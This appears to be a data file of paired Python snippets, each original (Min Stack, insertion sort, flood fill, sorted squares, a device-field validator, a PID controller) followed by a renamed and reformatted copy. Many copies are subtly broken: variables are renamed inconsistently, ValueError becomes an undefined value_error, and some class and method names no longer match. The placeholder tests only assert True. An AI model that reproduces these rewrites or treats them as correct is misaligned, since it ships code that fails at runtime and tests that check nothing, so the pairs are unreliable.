def test_owner_register_success(): assert True def test_owner_register_failure(): assert True def test_worker_register_success(): assert True def test_worker_register_failure(): assert True def test_login_success(): assert True def test_login_failure(): assert True
def test_owner_register_success(): assert True def test_owner_register_failure(): assert True def test_worker_register_success(): assert True def test_worker_register_failure(): assert True def test_login_success(): assert True def test_login_failure(): assert True
class MoveTurn(object): def __init__(self): self.end = False self.again = False self.move = None if __name__ == "__main__": Print('This class has been checked and works as expected.')
class Moveturn(object): def __init__(self): self.end = False self.again = False self.move = None if __name__ == '__main__': print('This class has been checked and works as expected.')
# # Created on Fri Apr 10 2020 # # Title: Leetcode - Min Stack # # Author: Vatsal Mistry # Web: mistryvatsal.github.io # class MinStack: def __init__(self): # Creating 2 stacks, stack : original data; currMinimum : to hold current minimum upon each push self.stack = list() self.currMinimum = list() def push(self, x: int) -> None: if len(self.stack) == 0 and len(self.currMinimum) == 0: self.stack.append(x) self.currMinimum.append(x) else: self.currMinimum.append(min(x, self.currMinimum[len(self.currMinimum) - 1])) self.stack.append(x) def pop(self) -> None: if not len(self.stack) == 0: self.stack.pop() self.currMinimum.pop() def top(self) -> int: if not len(self.stack) == 0: return self.stack[len(self.stack) - 1] def getMin(self) -> int: if not len(self.currMinimum) == 0: return self.currMinimum[len(self.currMinimum) - 1] # Your MinStack object will be instantiated and called as such: # obj = MinStack() # obj.push(x) # obj.pop() # param_3 = obj.top() # param_4 = obj.getMin()
class Minstack: def __init__(self): self.stack = list() self.currMinimum = list() def push(self, x: int) -> None: if len(self.stack) == 0 and len(self.currMinimum) == 0: self.stack.append(x) self.currMinimum.append(x) else: self.currMinimum.append(min(x, self.currMinimum[len(self.currMinimum) - 1])) self.stack.append(x) def pop(self) -> None: if not len(self.stack) == 0: self.stack.pop() self.currMinimum.pop() def top(self) -> int: if not len(self.stack) == 0: return self.stack[len(self.stack) - 1] def get_min(self) -> int: if not len(self.currMinimum) == 0: return self.currMinimum[len(self.currMinimum) - 1]
def insertionSort(aList): first = 0 last = len(aList)-1 for CurrentPointer in range(first+1, last+1): CurrentValue = aList[CurrentPointer] Pointer = CurrentPointer - 1 while aList[Pointer] > CurrentValue and Pointer >= 0: aList[Pointer+1] = aList[Pointer] Pointer -= 1 aList[Pointer+1] = CurrentValue
def insertion_sort(aList): first = 0 last = len(aList) - 1 for current_pointer in range(first + 1, last + 1): current_value = aList[CurrentPointer] pointer = CurrentPointer - 1 while aList[Pointer] > CurrentValue and Pointer >= 0: aList[Pointer + 1] = aList[Pointer] pointer -= 1 aList[Pointer + 1] = CurrentValue
# 8.10) Implement a function to fill a matrix with a new color given a point and the matrix def paint_fill(matrix, y, x, new_color): # print(x, y) len_x = len(matrix[0]) - 1 len_y = len(matrix[0][0]) - 1 if y < 0 or y > len_y or x < 0 or x > len_x: return if matrix[y][x] == new_color: return # set new color matrix[y][x] = new_color # call all adjacent points paint_fill(matrix, y - 1, x, new_color) paint_fill(matrix, y + 1, x, new_color) paint_fill(matrix, y, x + 1, new_color) paint_fill(matrix, y, x - 1, new_color) #test code w, h = 8, 5 Matrix = [['#fff' for x in range(w)] for y in range(h)] paint_fill(Matrix, 2, 3, '#xoxo') print(Matrix)
def paint_fill(matrix, y, x, new_color): len_x = len(matrix[0]) - 1 len_y = len(matrix[0][0]) - 1 if y < 0 or y > len_y or x < 0 or (x > len_x): return if matrix[y][x] == new_color: return matrix[y][x] = new_color paint_fill(matrix, y - 1, x, new_color) paint_fill(matrix, y + 1, x, new_color) paint_fill(matrix, y, x + 1, new_color) paint_fill(matrix, y, x - 1, new_color) (w, h) = (8, 5) matrix = [['#fff' for x in range(w)] for y in range(h)] paint_fill(Matrix, 2, 3, '#xoxo') print(Matrix)
class Solution(object): def sortedSquares(self, nums): """ :type A: List[int] :rtype: List[int] """ squares = [0 for i in range(len(nums))] # index iterator for squares array i = len(squares) - 1 left = 0 right = len(nums) - 1 while left <= right: # if calculate the absolute values of if abs(nums[left]) < abs(nums[right]): squares[i] = (nums[right])**2 right -= 1 else: squares[i] = (nums[left])**2 left += 1 i -= 1 return squares numbers = [-7, -3, 2, 3, 11] obj = Solution() result = obj.sortedSquares(numbers) print(result)
class Solution(object): def sorted_squares(self, nums): """ :type A: List[int] :rtype: List[int] """ squares = [0 for i in range(len(nums))] i = len(squares) - 1 left = 0 right = len(nums) - 1 while left <= right: if abs(nums[left]) < abs(nums[right]): squares[i] = nums[right] ** 2 right -= 1 else: squares[i] = nums[left] ** 2 left += 1 i -= 1 return squares numbers = [-7, -3, 2, 3, 11] obj = solution() result = obj.sortedSquares(numbers) print(result)
fname = 'mydata.txt' with open(fname, 'r') as md: for line in md: print(line) # continue on with other code fname = 'mydata2.txt' with open(fname, 'w') as wr: for i in range (20): wr.write(str(i) + '\n')
fname = 'mydata.txt' with open(fname, 'r') as md: for line in md: print(line) fname = 'mydata2.txt' with open(fname, 'w') as wr: for i in range(20): wr.write(str(i) + '\n')
class DeviceSwitch(object): def __init__(self, device_data): self.__device_data = device_data def switch(self, key, value): switcher = { "identifier": self.__identifier, "language": self.__language, "timezone": self.__timezone, "game_version": self.__game_version, "device_model": self.__device_model, "device_os": self.__device_os, "ad_id": self.__ad_id, "sdk": self.__sdk, "session_count": self.__session_count, "tags": self.__tags, "amount_spent": self.__amount_spent, "created_at": self.__created_at, "playtime": self.__playtime, "badge_count": self.__badge_count, "last_active": self.__last_active, # WARNING: Be carefull with this one "notification_type": self.__notification_types, # For testing only "test_type": self.__test_type, "long": self.__long, "lat": self.__lat, "country": self.__country } # Get the function from switcher dictionary func = switcher.get(key, lambda: "Invalid argument") # Execute the function return func(value) # val: String @staticmethod def __identifier(val): if isinstance(val, basestring): return val else: raise ValueError('Identifier value must be a string') # val: String @staticmethod def __language(val): if isinstance(val, basestring): return val else: raise ValueError('Language value must be a string') # val: int @staticmethod def __timezone(val): if type(val) is int: return val else: raise ValueError('Timezone value must be an integer') # val: String @staticmethod def __game_version(val): if isinstance(val, basestring): return val else: raise ValueError('Game version value must be a string') # val: String @staticmethod def __device_model(val): if isinstance(val, basestring): return val else: raise ValueError('Device model value must be a string') # val: String @staticmethod def __device_os(val): if isinstance(val, basestring): return val else: raise ValueError('Device OS value must be a string') # val: String @staticmethod def __ad_id(val): if isinstance(val, basestring): return val else: raise ValueError('Ad ID value must be a string') # val: String @staticmethod def __sdk(val): if isinstance(val, basestring): return val else: raise ValueError('SDK value must be a string') # val: int @staticmethod def __session_count(val): if type(val) is int: return val else: raise ValueError('Session Count value must be an integer') # val: Dictionary {} def __tags(self, val): if isinstance(val, dict): temp_tags = self.__device_data['tags'] for key_data, val_data in val.iteritems(): # updating and creating the tags temp_tags[key_data] = val_data return temp_tags else: raise ValueError('Tags val must be a dictionary') # val: String @staticmethod def __amount_spent(val): if isinstance(val, basestring): return val else: raise ValueError('Amount spent value must be a string') # val: int @staticmethod def __created_at(val): if type(val) is int: return val else: raise ValueError('Created At value must be an integer') # val: int @staticmethod def __playtime(val): if type(val) is int: return val else: raise ValueError('Playtime value must be an integer') # val: int @staticmethod def __badge_count(val): if type(val) is int: return val else: raise ValueError('Badge Count value must be an integer') # val: int @staticmethod def __last_active(val): if type(val) is int: return val else: raise ValueError('Last Active value must be an integer') # val: int @staticmethod def __notification_types(val): if type(val) is int: return val else: raise ValueError('Notification Types value must be an integer') # val: int @staticmethod def __test_type(val): if type(val) is int: return val else: raise ValueError('Test Type value must be an integer') # val: float @staticmethod def __long(val): if type(val) is float: return val else: raise ValueError('Long must be float') # val: float @staticmethod def __lat(val): if type(val) is float: return val else: raise ValueError('Lat must be float') # val: String @staticmethod def __country(val): if isinstance(val, basestring): return val else: raise ValueError('Country value must be a string')
class Deviceswitch(object): def __init__(self, device_data): self.__device_data = device_data def switch(self, key, value): switcher = {'identifier': self.__identifier, 'language': self.__language, 'timezone': self.__timezone, 'game_version': self.__game_version, 'device_model': self.__device_model, 'device_os': self.__device_os, 'ad_id': self.__ad_id, 'sdk': self.__sdk, 'session_count': self.__session_count, 'tags': self.__tags, 'amount_spent': self.__amount_spent, 'created_at': self.__created_at, 'playtime': self.__playtime, 'badge_count': self.__badge_count, 'last_active': self.__last_active, 'notification_type': self.__notification_types, 'test_type': self.__test_type, 'long': self.__long, 'lat': self.__lat, 'country': self.__country} func = switcher.get(key, lambda : 'Invalid argument') return func(value) @staticmethod def __identifier(val): if isinstance(val, basestring): return val else: raise value_error('Identifier value must be a string') @staticmethod def __language(val): if isinstance(val, basestring): return val else: raise value_error('Language value must be a string') @staticmethod def __timezone(val): if type(val) is int: return val else: raise value_error('Timezone value must be an integer') @staticmethod def __game_version(val): if isinstance(val, basestring): return val else: raise value_error('Game version value must be a string') @staticmethod def __device_model(val): if isinstance(val, basestring): return val else: raise value_error('Device model value must be a string') @staticmethod def __device_os(val): if isinstance(val, basestring): return val else: raise value_error('Device OS value must be a string') @staticmethod def __ad_id(val): if isinstance(val, basestring): return val else: raise value_error('Ad ID value must be a string') @staticmethod def __sdk(val): if isinstance(val, basestring): return val else: raise value_error('SDK value must be a string') @staticmethod def __session_count(val): if type(val) is int: return val else: raise value_error('Session Count value must be an integer') def __tags(self, val): if isinstance(val, dict): temp_tags = self.__device_data['tags'] for (key_data, val_data) in val.iteritems(): temp_tags[key_data] = val_data return temp_tags else: raise value_error('Tags val must be a dictionary') @staticmethod def __amount_spent(val): if isinstance(val, basestring): return val else: raise value_error('Amount spent value must be a string') @staticmethod def __created_at(val): if type(val) is int: return val else: raise value_error('Created At value must be an integer') @staticmethod def __playtime(val): if type(val) is int: return val else: raise value_error('Playtime value must be an integer') @staticmethod def __badge_count(val): if type(val) is int: return val else: raise value_error('Badge Count value must be an integer') @staticmethod def __last_active(val): if type(val) is int: return val else: raise value_error('Last Active value must be an integer') @staticmethod def __notification_types(val): if type(val) is int: return val else: raise value_error('Notification Types value must be an integer') @staticmethod def __test_type(val): if type(val) is int: return val else: raise value_error('Test Type value must be an integer') @staticmethod def __long(val): if type(val) is float: return val else: raise value_error('Long must be float') @staticmethod def __lat(val): if type(val) is float: return val else: raise value_error('Lat must be float') @staticmethod def __country(val): if isinstance(val, basestring): return val else: raise value_error('Country value must be a string')
class PID(object): def __init__(self, kp, ki, kd): self.kp = kp self.ki = ki self.kd = kd self.error_int = 0 self.error_prev = None def control(self, error): self.error_int += error if self.error_prev is None: self.error_prev = error error_deriv = error - self.error_prev self.error_prev = error return self.kp*error + self.ki*self.error_int + self.kd*error_deriv def reset(self): self.error_prev = None self.error_int = 0
class Pid(object): def __init__(self, kp, ki, kd): self.kp = kp self.ki = ki self.kd = kd self.error_int = 0 self.error_prev = None def control(self, error): self.error_int += error if self.error_prev is None: self.error_prev = error error_deriv = error - self.error_prev self.error_prev = error return self.kp * error + self.ki * self.error_int + self.kd * error_deriv def reset(self): self.error_prev = None self.error_int = 0